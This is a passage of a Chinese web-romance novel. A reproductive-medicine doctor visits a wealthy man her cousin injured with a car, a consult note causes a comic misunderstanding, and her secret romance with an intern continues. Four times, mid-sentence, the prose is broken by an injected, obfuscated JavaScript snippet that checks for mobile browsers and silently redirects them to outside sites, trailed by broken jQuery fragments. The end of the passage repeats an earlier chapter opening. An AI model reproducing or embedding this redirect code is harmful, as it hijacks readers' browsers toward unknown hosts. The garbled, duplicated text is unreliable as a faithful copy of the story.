“我知道了,江医生。”林逸的声音似乎带上了笑意,听上去温煦又从容,如同春风化雨,“谢谢你关心我。” 江明月客套两句:“应该的应该的。你在哪个病房?” 她打算等下周上班后再去病房探望一下,看看实际情况。 “住院二部,1501。” 江明月听见这个楼层,意识到是特需病房。她沉默数秒后出声:“林先生,你能换普通病房吗?保险不报销特需病房的费用。” 电话里的人低低地笑起来:“没事,不用你赔。” - 孙洛当晚没有回去。 江明月本以为孙洛只是回来得比较晚而已。结果她睡了一觉起来,还是没看见孙洛,这才意识到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654346|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他整晚都没有回来。 江明月当即给孙洛打电话。 电话响了很久才被接通,孙洛的声音懒洋洋的:“姐?什么事啊?” 江明月问:“你去哪里了?” “我这不是……怕你看见我来气嘛,昨晚就跟我女朋友在外面开了间房……” 只听声音,江明月都能想象出孙洛那个嬉皮笑脸的样子了。 “给你钱是让你这么用的?” 江明月逐渐感觉这位表弟做的每一件事都在自己承受范围之外。 孙洛没说话,也不知道是无言以对还是不敢吱声。 江明月着急上班,没再说下去。中午休息时,她给舅妈打了个电话,把孙洛这两天的所作所为详细说了一遍。 舅妈在电话里叹气:“月月,不好意思啊,你给小洛的2000块钱我马上打给你。” “我给您打电话也不是为了要钱。”江明月委婉道,“我就是觉得,小洛做的这些事,好像稍微有些出格了。马上要开学了,小洛也要开始复读,我看不如让他回家待着,做几套卷子,好好收收心,您觉得呢?” 舅妈显然听出了江明月赶人的意思,连声应承道:“月月你说得对,这孩子都被我和他爸爸宠坏了,一点分寸都没有。我这就给他打电话,让他赶紧回来!” - 片刻之后,孙洛的电话打到了江明月这儿。估计是被他妈教训了一顿,听上去恹恹的:“姐,不是说好了对我爸妈保密的吗?” 江明月相当冷漠:“我没答应你。” “我老妈还让我去找那个被撞的人赔礼道歉,晦气,海城这么大,我上哪儿找那个碰瓷的道歉?姐,你是不是认识那个人?有没有那个人的联系方式啊?” “他住院了,就在附院。你要来吗?” 孙洛嘿嘿笑道:“来!我妈说了,只要好好道歉,就给我加零花钱。” 江明月还真不太敢让这个不靠谱的表弟一个人去找林逸,万一又惹出了什么事,还是得她来收拾烂摊子。 她让孙洛先来找她,她陪他一起去探望林逸。 探望病人,肯定不能空手去,何况孙洛有肇事责任。江明月从网上订了一束花。今天是门诊日,她下班比较早。工作结束后就换好衣服,带上花束,领着孙洛去住院部。 特需病房的装修跟酒店差不多,冰箱电视俱全。林逸住的这间是个套间,附带一个会客室。 江明月到的时候,林逸正坐在会客室的乳白色皮沙发上打电话,从电话的内容来看,应该是在处理工作。这个状态下的他成熟又干练,下达指令果断而冷静,周身充斥着一种矜贵高傲的上位者气息。 这样的林逸,与江明月印象中那个温润清和的林逸相比,可谓是大相径庭。唯有身前固定肋骨的胸带,昭示着此人目前是一名病人。 林逸看到江明月,很快就结束了通话。眉目间的凌厉在须臾之间尽数隐藏。 江明月将探望花束摆在茶几上,瞥了眼孙洛。 孙洛得到她的眼神示意,立马上前一步,规规矩矩地道歉:“叔叔,对不起,因为我的不小心,让你受伤了。我向你道歉,请你原谅我。” 一席话说得毫无起伏,跟背课文一样。一听就是事先写好的稿子,照着背了一遍。 林逸的视线从江明月送来的花束上移开,淡然望着面前的少年:“我跟你姐姐是朋友,平辈,你不能叫我叔叔。” 话语中似乎藏匿着一丝不悦的警告,但又无法从那他泰然自若的神情中窥见一二。 孙洛心想,这人事儿可真多啊。 29. 不熟 这时,病房又进来一个人,人还在门口,就喊话问道:“大少爷,现在感觉怎么样?” 林逸说:“我感觉骨折的地方非常痛,喝水都疼。有止痛药吗?” 门口的方修远听得一愣。就在今天早上,他问林逸状况如何,对方的答复是“有明显痛感,不过可以忍受”。上午林逸还在病房里开了个视频会议,状态尚可。怎么短短一天之内,这位大少爷的病情好像加重了许多? 方修远一边琢磨一边往里走,看见江明月的时候怔了下,旋即热情地打招呼:“你好,江医生。” 江明月微愣。 医院职工很多,江明月也不是所有人都认识。眼前的方修远她就毫无印象。 而且她穿的是便服,也不知道对方是怎么认出她的。 方修远下一秒就解答了她的困惑:“去年医师节,医院组织了文艺汇演,你上台唱歌的对不对?我在你后一个节目,那个演小品的。” 江明月回想片刻,再看看方修远的胸牌,终于把人和名字对上号了,客客气气地打招呼:“方主任。” 方修远问:“你怎么跑这儿来了?” 江明月有些尴尬:“我弟弟开车……不小心把林先生撞骨折了……那个,病历有吗?我看看病历行吗?” 这下轮到方修远尴尬了:“病历还没写。” 按照医院要求,首次病程记录要在入院八小时内写完。不过骨科手术多,医生普遍忙不过来,病历后补也很正常。 “我现在找人来写。”方修远掏出手机打电话,“小沈,来住院二部补个病历。” 孙洛道歉完了,自我感觉任务已经完成了。脚底百无聊赖地碾着地面,一副想找机会溜走的样子。 江明月已经收到了舅妈的吩咐,说是让孙洛今天就坐高铁回家,不许再留在海城。 “你回家的高铁票买了吗?”她问。 “买了,晚上就走。”孙洛经江明月这么一问,成功找到了一个脚底抹油溜之大吉的理由,“那个,姐,我先走了,我去高铁站了。” 江明月点头:“我送你去。” “不用,我打车。”孙洛临走前总算说了句中听的话,“姐,你这几天为我操了不少心,这次就不麻烦你了。” 他边说边往病房外走,走出了病房门,终于长长地舒了一口气。但又不自觉地回头看了一眼。 他总觉得里面那个男的压迫感很强,而且看他姐的眼神,不对劲。 - 接到方修远电话后,沈归时很快赶了过来。 方修远走到病房门口,远远地朝他招招手:“来了?帮我补个病历,一会儿还有个急诊手术要上,做好加班准备啊。” “好的,方老师。” 沈归时大步走来。进了病房,才看见绑着胸带的林逸,和一旁面带关切的江明月。 沈归时的脚步一顿:“师姐也在?” 江明月轻轻点头。两人在医院一向低调,从没有过多的交流。 方修远口述林逸的病情。 沈归时抽出林逸的CT报告单扫了眼。 【左侧第6、7肋骨不全骨折,请随诊复查。】 哦,肋骨断了两根。 “方老师,这种轻微伤有必要住院吗?是不是太浪费医疗资源了?”沈归时认真问道。 方修远指了下林逸,调侃道:“这人心理有问题,钱放着不花他难受,非要住院不可。他想住就给他住吧,心理治疗也是治疗。” 江明月见伤情轻微,心里总算踏实了不少:“林先生,我就不打扰你休息了。有什么需要,你随时联系我。” 林逸笑了笑:“好的。谢谢你来看我。” 沈归时的视线在林逸上扬的唇角上停了两秒,默不作声地转身,去外面电脑上补病历。 江明月跟着他走了出去。 林逸看着他们俩一前一后离开,转眸望着方修远:“你没长手?” 突然被辱骂的方修远:? “你不能自己写病历?” “这不是有现成的实习生用嘛,给人家一点锻炼的机会,也省得我忙不过来。”方修远自然而然地说着,“而且这个实习生学习能力很强,不管学什么,学一遍就能上手,很有我当年的风采,我现在上手术特别喜欢带上他,比我的一助二助都好用。” 林逸冷淡道:“你很认可他?” 方修远隐隐感觉林逸的声音沉了下来,但他也没当回事,自顾自地往下说:“不只是我认可,所有他轮转过的科室,带教老师都对他赞不绝口。要不是他的培养方向早就定好了是神外,各科室都能为了抢他打起来。这么优秀的学生,谁不想要?” 方修远毫无保留地把沈归时夸了一通,猛然想起一件事:“对了,你要止痛药是吧?你等着,我现在去给你开。” 林逸说:“不用了。” “又不用了?你这人怎么反复无常的,是不是内分泌失调啊?” 林逸冷笑:“所以在你眼里,我不仅心理有疾病,内分泌还有问题?” 方修远语重心长:“林逸,我理解你,其实我在和我老婆在一起之前,也常常会产生一些负面情绪。但是自从回国结了婚,我的精神状态一下子好了很多。你也去谈个恋爱吧,调节一下情绪,别一天到晚只顾着工作。上次你说想要什么样的来着?” 方修远记性不错,很快想起了上次聚会时林逸提出的要求:“哦,你想要温柔漂亮的医生。诶,你觉得江明月怎么样?” 林逸刚刚收到了邮件提示音,现在正在手机上查看邮件,听见这一句,滑动邮件的手指不禁顿住。 方修远以为他不知道是谁,十分积极地给他介绍:“就是刚刚那个江医生,她是我们医院生殖科的,听说她对病人态度特别好,性格肯定温柔。长相嘛,大美女,有目共睹。还是个医生!你看是不是满足了你所有要求,怎么样,喜欢吗?” 林逸缓慢而艰难地摇头。 不是喜欢。 他只是因为没有特别顺利地把她变成自己的所有物,所以才对她尤为在意。 方修远说:“我就说你心理有问题吧,都找到了百分百满足你要求的人了,你还有什么不满意?我跟你说,感情都是培养出来的,明天我给江明月发会诊通知,给你们创造一下见面的机会。” 林逸没说话。方修远挥挥手:“我还有个手术,要准备一下,先走了。” - 沈归时把电脑里的病历模板找了出来,手指飞快地在键盘上敲击。 江明月已经下班了,但她很想陪沈归时多待一会儿。这两天她都没见到他。 沈归时察觉到她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14666018|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线一直落在自己身上,病历敲到一半,忍不住侧首:“看我干什么?你不是来看林逸的吗?” 江明月坦然承认:“嗯,我表弟——就是来海城住我家的那个亲戚,开车把林逸给撞骨折了,我过来看看严不严重。” 她说到这儿,才渐渐觉得沈归时刚刚问话的时候,情绪不太对。她思忖片刻,蓦地反应过来:“你是不是在吃醋?不许我看别的男人?” 沈归时没吭声,目不转睛地看着电脑敲病历。 江明月见他在专心工作,也不计较他有没有回答。直到沈归时敲完病历点了提交,垂眸问了句:“不可以吗?” 那声音听上去都有些委屈了。 江明月立马毫无原则地哄人:“可以可以,你想干什么都可以。”然后还耐心地解释,“我跟林逸不熟,只是见过几面而已,你没必要吃他的醋。” 沈归时想问“那宋远呢”,话到嘴边转了几转,又收了回去。 江明月又说:“我那个表弟今晚的高铁,回他自己家了,我今天回去收拾一下,明天搬回海城名邸。” 沈归时露出笑意,一张脸清俊又柔和:“好。” 两人一起去等电梯。 电梯停在一楼,迟迟不上来。 江明月扯了扯沈归时的衣袖:“你把白大褂脱了。” “怎么了?” 江明月靠近他,用只有他们俩能听见的音量说:“我想亲你。怕被人看见,影响不好。” 沈归时很轻地笑了一声。那笑声像是从胸腔里溢出来的,听上去低沉而含蓄。 江明月眼波横过去:“笑话我?” “没有。” “那你倒是脱啊。” “……” 沈归时单手去解白大褂的扣子。单薄的夏季白大褂很快褪了下来,被他随意地团了团,拎在手中。 江明月谨慎地看了看四周。 特需病房的楼层一向清净,很少有人过来。江明月确定周围没什么人之后,两手扶着沈归时劲瘦的腰,踮脚亲了上去。 唇瓣轻柔地相贴。她始终不得要领,只好隔着衣服戳了戳眼前人的腹外斜肌:“那天晚上你不是挺会亲的吗?再发挥一下。” 沈归时看到楼道尽头好像有个人影,他按住江明月的手:“有人来了。” 不用他说,江明月也听见身后传来了越来越近的脚步声。 江明月,嘴炮中的巨人,实践中的矮子。 听见有人过来了,再想想自己刚刚的所做所说,她的头瞬间一热,第一反应就是把脸埋进沈归时的怀里,死死挡住自己的脸。 然后她又听见了沈归时低低的笑声,经由他胸腔轻微的震颤,传递到她的身上。是无奈的、轻柔的、温情的笑声。 沈归时抬手抱住了江明月。看到走过来的人,他笑意微收,不自觉地将怀中人揽紧了一些。 电梯到了。 来人进了电梯,转身和沈归时对视,直到电梯门缓缓合上。 “好了,人走了。”沈归时轻轻拍着江明月的后背。 江明月从他的怀抱里出来:“刚刚那人是谁?是同事吗?” “不是。” 江明月彻底放下心来。 沈归时接着说:“是跟你不熟的林逸。” 江明月:“……” 30. 嫉妒 两人又等了一趟电梯。 江明月打算回家,沈归时还要跟手术,两人去的楼层不同。 沈归时要去的楼层到了,他走出电梯。江明月忽然说:“明天晚上补给我。” 沈归时一怔,还没来得及说话,电梯门就关上了。 下一秒,江明月收到一条消息。 【沈归时:好。】 江明月的唇角不由自主地上扬。 补一个吻。他听懂了。 电梯到了地下车库。江明月的车停在生殖中心楼下,要绕一圈才能找到。正在找车的时候,林逸迎面走了过来。 江明月想到刚刚的情形,多少有些尴尬。她打算装没看见直接走,林逸叫住了她:“江小姐。” 江明月只好同他打了个招呼。 林逸只字不提刚刚的事,而是问江明月某个车位怎么走。 附院的地下停车场确实太大了,即便是本院的职工,也容易在地下迷路。好在江明月方向感还行,立刻给林逸指了一条路。 林逸按照她指明的方向,顺利找到了自己的车。 车内开着冷风空调,前排依旧坐着司机和助理。 助理汇报了一天的工作。林逸轻轻合眼,揉了下眉心。助理知道这是他有些烦躁的表现,他立刻紧急梳理了一遍自己的汇报内容,唯恐有什么地方让林逸听了不满意。 助理汇报结束,等着林逸的下一步指示。结果林逸只是提了一件毫不相关的事:“去年医师节,附院有一个文艺汇演,你找找有没有相关的视频资料,发给我。” 当天晚上,林逸在病房里收到了那个文艺汇演的完整版视频。 他拖动进度条,很快找到了江明月唱歌的那个节目。 一首英文抒情歌。 大概是因为在舞台上演出,她化了一个比较浓的妆,眼尾拖出了上翘的眼线,有一种摄人心魄的美。但她的嗓音又那么澄澈干净,无限贴近她温柔的底色。 林逸静静地看了一会儿,屏幕上的画面不知怎的变成了一对情侣在电梯前紧紧相拥的图景。 他以为自己并不介意她有男朋友。 但亲眼目睹的那一瞬间,他知道自己嫉妒得要命。 这种陌生又真实的情绪像某种腐蚀剂,嚣张而迅速地侵蚀了他的所有感官。 他无所适从。 - 方修远第二天给江明月发了会诊通知,写会诊理由的时候,他随便编了一个:患者有生育需求,请贵科协助诊查。 江明月收到会诊通知的时候愣了好半天。 林逸一个未婚人士,能有什么生育需求? 难道这次车祸,林逸伤到的不只是肋骨。 那个地方……也被撞伤了?还影响了他的生育能力。 江明月本来挺想不通林逸明明伤势轻微,为什么还要坚持住院。现在她明白了。 是得住院。 关乎一辈子的事。 江明月忙完了手头的事,抽空去了林逸的病房。隔着门上的透明视窗,可以看到病房里不止林逸一人,还有一个高个儿的平头男在里面,手里拿着文件,看着像是林逸的助理。 江明月猜到他们可能在处理工作,于是没有直接推门进去,而是礼貌地敲了敲门。 平头男来开的门。看到江明月的时候,分明愣了两秒。 江明月走进去说:“我接到会诊通知,过来看看。” 林逸停下手里的工作,指了下身边的沙发,示意江明月随便坐。 江明月看了眼还在病房里的平头男,出于保护患者隐私的职业习惯,多问了一句:“他也要在场吗?” “这是我的助理,成雷。”林逸简单介绍了一下,“成雷,你先出去吧。” 成雷退出门外,狠狠做了个深呼吸。 原来照片上那个女人,是这家医院的医生。 他想起那天老板头也不回地走到金融街十字路口,等着那辆银色SUV朝他撞过来。 成雷揉了把脸,觉得老板的行事风格,有点疯。 - 病房内,江明月斟酌着措词,探问道:“林先生,当时车祸发生后,你除了肋骨两处骨折,还有别的外伤吗?” “没有。” 不是外伤,那可能是因为车祸受到了巨大的刺激,导致心理出现障碍,影响生殖功能。 江明月默默分析了一通,又问:“那你是怎么发现身体出现异常的?” “异常?”林逸似乎没听懂她的意思。 江明月心想,她跟林逸本身就认识,关系普通,又是异性,林逸当着她的面不愿意承认也很正常,她能理解。 “是不是那天的车祸,给你留下了什么心理阴影?” 林逸触及江明月关切的目光,鬼使神差般地点了下头。 江明月一副“果然如此”、“不出所料”、“全猜中了”的神色,眼中逐渐带上了一抹同情和歉意。 林逸微微惊讶。江明月得知他肋骨骨折的时候,也很歉疚,但那时候的歉疚情绪远没有现在这么浓烈。仅仅因为他有心理阴影,就能让江明月对他产生这么大的愧疚感? 江明月声线沉痛,欲言又止:“你还年轻,这个……你得治啊。” 林逸略微困惑,顺着她的话往下问:“怎么治?” 江明月见他不像刚开始那么抗拒交流,而是有了治疗意愿,立马真诚地给出建议:“你也不用觉得难以启齿,这种疾病现在也挺普遍的,在你这种三十岁左右的男性里也算多发。” 她顿了顿,“但是一定要尽快干预,越早治疗,效果越好。另外……我们医院精神科实力很强,你可以去看看,说不定通过心理疏导能够得到一些改善。” 林逸感觉不太对劲,但具体哪里不对劲,他一时又说不上来。听江明月认真说了一大段之后,他还是十分配合地点了点头。 江明月见他听进去了,也算放心了,出去写会诊意见了。 - 第二天一早,方修远按惯例来查房,发现此前每天早上都抱着笔记本电脑工作的林逸,今天竟然规规矩矩地躺在病床上。 方修远心里骂了句,邪门儿。 他走过去一看,林逸已经醒了,侧头望着床头柜上的一束花。 方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680638|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修远记得这束花原来是摆在外面会客室的茶几上的,不知道什么时候挪到了林逸的床头。仔细一看,花瓣都有些干枯了。 方修远把花拎起来,好心道:“这花放好几天了,叶子都黄了,我帮你扔了。” “放下。”林逸淡声道。 “谁送的啊?舍不得扔?” 林逸沉默。 方修远本来也就是开玩笑般地问问,没指望林逸会回答。 “你今天感觉怎么样?怎么没一早就开始工作?是骨折的地方更疼了吗?” 林逸说:“好多了。” “骨折就是有个恢复的过程,在这个过程中,痛感加剧是正常的。等会儿,你说你好多了?那你怎么没起来工作?这不像你啊,林总。” 林逸指了下对面电视柜上的病历夹:“我遵从医嘱,注意休息。” 方修远把病历夹上的A4纸抽出来一看。 是江明月的会诊记录。 江明月给的会诊意见就一行字。 【应邀会诊,病史知悉。请注意休息,随诊。】 方修远拿着纸走到林逸面前,指着这短短一行会诊意见,笑着说:“哦,你说这个啊,这是电脑里的模版,江医生直接复制的。” 林逸:“……” 这张纸原来在病历夹上,林逸只看到反面,也就是有会诊意见的那一面,现在透过光,发现正面也有字。 他顺手拿过来,翻过去一看,整个人顿时一滞。 只见会诊理由那一栏,明晃晃地写着“患者有生育需求”,白纸黑字。 难怪江明月昨天过来的时候一直欲言又止,难怪她忽然对他有了那么明显的歉意,还催促他尽快治疗,还劝他去做心理疏导…… 昨天隐隐察觉到的那些不对劲,终于在这一刻有了一个恰当的解释。 方修远见林逸一切正常,正准备走,却被林逸一把拖了回去。 “你为什么写这个会诊理由?” 方修远又看了一遍自己瞎编的会诊理由,没觉得有什么问题:“江医生是生殖科的,这个理由在她的专业范围内,很合适。” “不合适,她误会了。” “误会什么?” “误会我性功能障碍。” “万一她没误会呢?” 方修远在海外读博的时候就认识林逸了,这么多年都没见过他谈过恋爱,他怀疑这人要么是情感缺失不知道什么是爱,要么就是单纯的性功能障碍。 反正精神和肉-体,至少有一样出问题了。 方修远以为林逸闻言肯定会生气,可林逸脸上一点特别的反应都没有,只是用刀锋般地目光扫视着他,目光在他身下某个位置重点停留了一会儿,似乎很想让他体会一下那方面障碍是什么感觉。 方修远轻轻一哆嗦,立刻表态:“我去和江医生解释一下,一定帮你洗清污名。” “你打算怎么解释?” “我就说你经过治疗已经痊愈了。” 林逸沉下冷冽的眼:“算了,你别解释了。” 这不是想帮他洗清污名,这是直接拿污水泼他了。 31. 算是朋友 时近月末,江明月的父母结束了希腊之旅,飞回了海城。 江明月回了一趟家。 希腊的橄榄享誉全球。夫妻俩从希腊托运了不少伴手礼回来,包括各式各样的橄榄制品。 江明月回去以后,就帮忙把这些伴手礼分类打包,以便父母转赠亲朋好友。到了晚上,一家人围坐吃饭,江明月顺便跟他们提了下,自己现在图上下班方便,搬到海城名邸去住了。 孙静说:“早就让你搬去那边住,你不听,早上多睡个二十分钟不好吗?” 江峰也挺赞同:“房子买了就是给你住的,空关着也浪费。当然了,你想回来随时都可以回来。” 孙静给江明月夹了一筷子青菜,又问:“听你舅妈说,小洛在海城待了三天就走了。他都去哪儿玩了?” 江明月露出了一言难尽的神色:“舅妈没跟你说?” 孙静茫然:“说什么?” 江明月一时都不知道从何讲起,想了想,先拣最严重的说了:“他去哪儿玩了我不知道,我只知道他未经允许开我的车,还把林逸给撞了。就是那个林氏地产的林逸。” 江明月跟舅妈说的时候,描述还是相对委婉的。现在跟自己父母说,就没什么顾忌了。她把那几天的经过原原本本地讲了一遍,包括孙洛和女友在外开房、夜不归宿的事,也都告诉了父母。 孙静听后直接沉默了。 “撞了林逸?怎么会呢?”江峰觉得这事儿透着诡异,林逸出门就算不带保镖,助手和司机总会随行吧,怎么这么碰巧就被孙洛撞了,“他受伤了吗?” 江明月一脸复杂地点头:“没有生命危险,但……也挺严重的。” 生理和心理都受伤了。 孙静忙问:“有没有去医院啊?” 江明月说:“去了,现在还在我们医院住院。” 孙静懊悔不已:“都怪我,那天你舅妈说让小洛来我们家住几天,我就不该答应她。” 江明月轻轻叹气:“是我不好,妈,你别多想,当时你和爸爸都不在家,要怪也应该怪我没有看住小洛。” 其实这段时间,江明月一直很自责,如果她当时没有把车钥匙留在家里,那么这场车祸就不会发生。如今她想起林逸,终究难免愧疚。在得知林逸那方面也被撞出毛病之后,这种愧疚感简直达到了顶峰。 江峰放下汤碗:“错的是孙洛,和你们都没关系。你俩都别把错往自己身上揽。” 孙静点头:“话是这么说,但我心里实在过意不去,小林之前还送了我民乐团的演出票呢。月月,他现在恢复得怎么样了?” 江明月表示不太清楚。 上次会诊结束后,她便把林逸助理成雷的联系方式转给了保险公司的理赔员,由他们自行沟通理赔事宜。她本人没再联系过林逸,也没去了解他的身体状况。 孙静说:“这样吧月月,你明天再拎点东西去探望一下林逸,看看他身体恢复得怎么样了。” 江峰也赞同:“应该的。” 林逸是江峰新厂区的重要合作方。他车祸住院,江峰于情于理都应该去关心一下。他们做长辈的不方便亲自去,让江明月出面比较合适。 于是第二天下班后,江明月又去了一趟林逸的病房。 成助理看见她来,立刻识趣地退到病房外,还把门带上了。 江明月把手上拎着的一堆东西放在门口——是一些水果和补品,还有她父母从希腊带回来的伴手礼。除了伴手礼,其余都是她昨晚在线上买的,今天下午刚好都送到了。 礼到,话也要带到。 江明月笑着说:“我爸妈旅游回来了,昨天刚到海城,听说你出了车祸,他们都挺担心的,让我代他们再来看看你。” 林逸道了谢,给江明月端了杯咖啡。 江明月这才发现墙边多了个置物架,架子上摆着一台咖啡机。旁边还放了个铁皮柜,透明的柜门上了锁,上面两层是纯黑色和天蓝色的文件夹,下面两层是牛皮纸档案袋,塞得满满当当。 林逸完全把病房当成工作场所了啊。江明月叹为观止。 她本打算站着说几句话就走,这会儿接过了咖啡杯,一直站着不方便拿,便走到沙发边坐下,端着杯子抿了一口。 很浓的美式。 江明月将咖啡杯搁在茶几上,顺便关心了一下林逸的身体:“你那个病……在治了吧?” 林逸很快意识到了她在问什么。 他在另一张沙发上坐下,正想说他没病,一抬眼,就撞进了江明月那双清凌凌的眼眸,透着几分关切。 原来被她温柔的眸光注视是这种感觉。 林逸忽然不想解释了。 他很想要她的在意,哪怕是出于歉疚。他想要她的关注,哪怕是出于误会。 林逸岔开话题:“江小姐,我们现在算是朋友吗?” 江明月愣了下,点点头。 “那我可以直接称呼你的名字吗?” “可以。” 林逸轻笑:“明月,年前我有一个商务晚宴要参加,你可以陪我一起出席吗?” 江明月微讶:“我和你一起?” “这种商务晚宴一般都需要带个女伴。但是……我目前的身体状况你也清楚,我暂时没心思找什么女伴。所以,可以劳驾你帮我这个忙吗?” “你目前的身体状况……”江明月卡了一下,语速都变慢了,“是不是最近的治疗都没有效果?你不要灰心,现在的理念啊技术啊,各方面都挺先进的,克服心理障碍也是需要时间的,不着急,慢慢来。” 林逸静静地听她说。 她今天穿了件休闲款衬衫,身前的衬衫下摆收进了浅色牛仔裤,看上去利落又青春。 他发现她从来不戴首饰,这可能是医生工作带给她的一个习惯,反正他没见过她身上佩戴过任何配饰。穿衣风格也比较简素,偏爱宽松的服饰,脚下永远是平底鞋,显然一切以她自己舒适为重。 “至于你说要我帮忙……”江明月略顿了顿,“不是我不答应你啊,你也知道我工作比较忙,我怕到时候有工作安排,抽不出时间。” 林逸说:“只需要你露个面就行,不会耽误你很长时间。” 江明月又说:“我以前没去过类似的场合,我怕我应对不好。你可以找你公司里的女同事啊,肯定有比我更合适的。” 林逸确定了,她只是在找理由婉拒他。 他缓缓一笑:“到时候再说吧。” 江明月又说了几句诸如“早日康复”的场面话。她起身告辞:“看你也挺忙的,就不打扰你工作了。” 林逸指了指茶几上的咖啡:“不喜欢吗?” “嗯?” “看你只喝了一口。” 江明月解释:“我咖啡因不耐受,这个点喝太多咖啡,晚上会睡不着觉。” 林逸点点头,看着江明月拉门离开。 - 没过一会儿,方修远带着林逸新拍的片子过来了。 方修远把新片子和老片子放一块儿对比,招呼林逸过来看:“没想到你身体素质还挺好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14694608|156421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,恢复得很快。你看啊,这个骨折的地方已经基本长好了。” 许久没有等到林逸的回应。 方修远回头,看见林逸拿起了茶几上剩下的大半杯咖啡,将杯子转了个方向,不紧不慢地喝了几口。 方修远不以为意地转头回去,忽然瞥见门口一堆大大小小的礼品袋。他出于好奇走过去,挨个儿看了看:“鹿茸、枸杞、海参……这谁送的啊林逸?全是补肾壮阳的?” 林逸:“……” “原来你天天吃这些啊。”方修远意味不明地笑了笑,“怪不得身体那么好,恢复起来那么快。” 林逸问:“说完了吗?” “啊?” “说完了就出去吧,你今天的看诊时间到了。” 直到被成雷请出病房,方修远仍然在想——看诊多久不是由医生决定的吗?为什么在林逸这儿是由病人决定的? - 九月下了几场雨,天气逐渐转冷。 附院的神经外科有两名医生近期刚好都要结婚,都向科主任递交了请假申请。毕竟是人生大事,卢景大手一挥批了假,把沈归时召回自己科室干活儿。 神外真把沈归时当成了自己人用,于是沈归时肉眼可见地忙了起来,只有上班时间,没有下班时间,一台手术跟到凌晨是常事,每周还要值一次夜班。 江明月近期也没闲着,实验室拟研究高体脂水平对成年公鼠生殖能力的影响。她和师妹赵彤,每天都要定时定点去实验室投喂小白鼠,精细饲料给得多多的,力求把这批小白鼠养得膘肥体壮,达到实验计划中的高体脂水平。为了数据严谨,江明月还设置了一批对照组,普通饲料,正常投喂。 两组小白鼠隔笼对望,对照组只能眼睁睁地看着另一批同类每天伙食丰富,量大管饱,而自己吃食简陋。 江明月觉得,对照组但凡能说话,都能跳起来骂她一句:我不是真的人,但你是真的狗啊。 两个人都很忙,聚少离多。虽然住在同一个地方,但真正在一起相处的时间并不多。 好在神外对沈归时还算仁慈,每周末都会给他轮一天休息。江明月知道他排了哪天休息后,会特意把时间空出来。 他们会像别的情侣那样手拉手逛街看展览,会一起去江边吹风看晚霞与日落,会在寂静无人的街头肆意拥吻。 国庆节后,那两个请婚假的神外医生都回到了工作岗位,压给沈归时的工作量一下子少了许多,第一次在神外准时下班。 江明月并不知道沈归时今天早早就下班了。回去之后,她看见客卧房门虚掩,里面灯还亮着,还以为是沈归时早上忘记关灯了。 江明月轻轻推开那扇虚掩的门,想进去关灯。 房间里的男人听见动静,诧异地回过头。 江明月脑子顿时一懵。 沈归时正在换衣服,具体来说,是在换一件速干运动上衣,他可能正准备去锻炼——他一直有健身的习惯。此刻他侧对着江明月,腰腹肌肉纹理分明。 大概没想到会有人忽然推门进来,沈归时也怔住了。 似乎在很漫长的一段时间里,两人都如同两座人体雕塑,一动不动,隔空对视。 说是“对视”,也不准确。因为江明月并未始终直视沈归时的眼睛,而是控制不住地往下瞟。 当然,她内心深处十分不齿自己这种趁机乱瞟的卑劣行径,所以她很想说些什么,缓和一下气氛。 江明月张了张口,自己也始料未及的一句话凭空冒了出来:“还穿裤子,这么见外?” 30-40 第31章 算是朋友 “还穿裤子,这么见外?”…… 时近月末, 江明月的父母结束了希腊之旅,飞回了海城。 江明月回了一趟家。 希腊的橄榄享誉全球。夫妻俩从希腊托运了不少伴手礼回来,包括各式各样的橄榄制品。 江明月回去以后, 就帮忙把这些伴手礼分类打包, 以便父母转赠亲朋好友。到了晚上,一家人围坐吃饭, 江明月顺便跟他们提了下,自己现在图上下班方便, 搬到海城名邸去住了。 孙静说:“早就让你搬去那边住,你不听, 早上多睡个二十分钟不好吗?” 江峰也挺赞同:“房子买了就是给你住的,空关着也浪费。当然了, 你想回来随时都可以回来。” 孙静给江明月夹了一筷子青菜,又问:“听你舅妈说, 小洛在海城待了三天就走了。他都去哪儿玩了?” 江明月露出了一言难尽的神色:“舅妈没跟你说?” 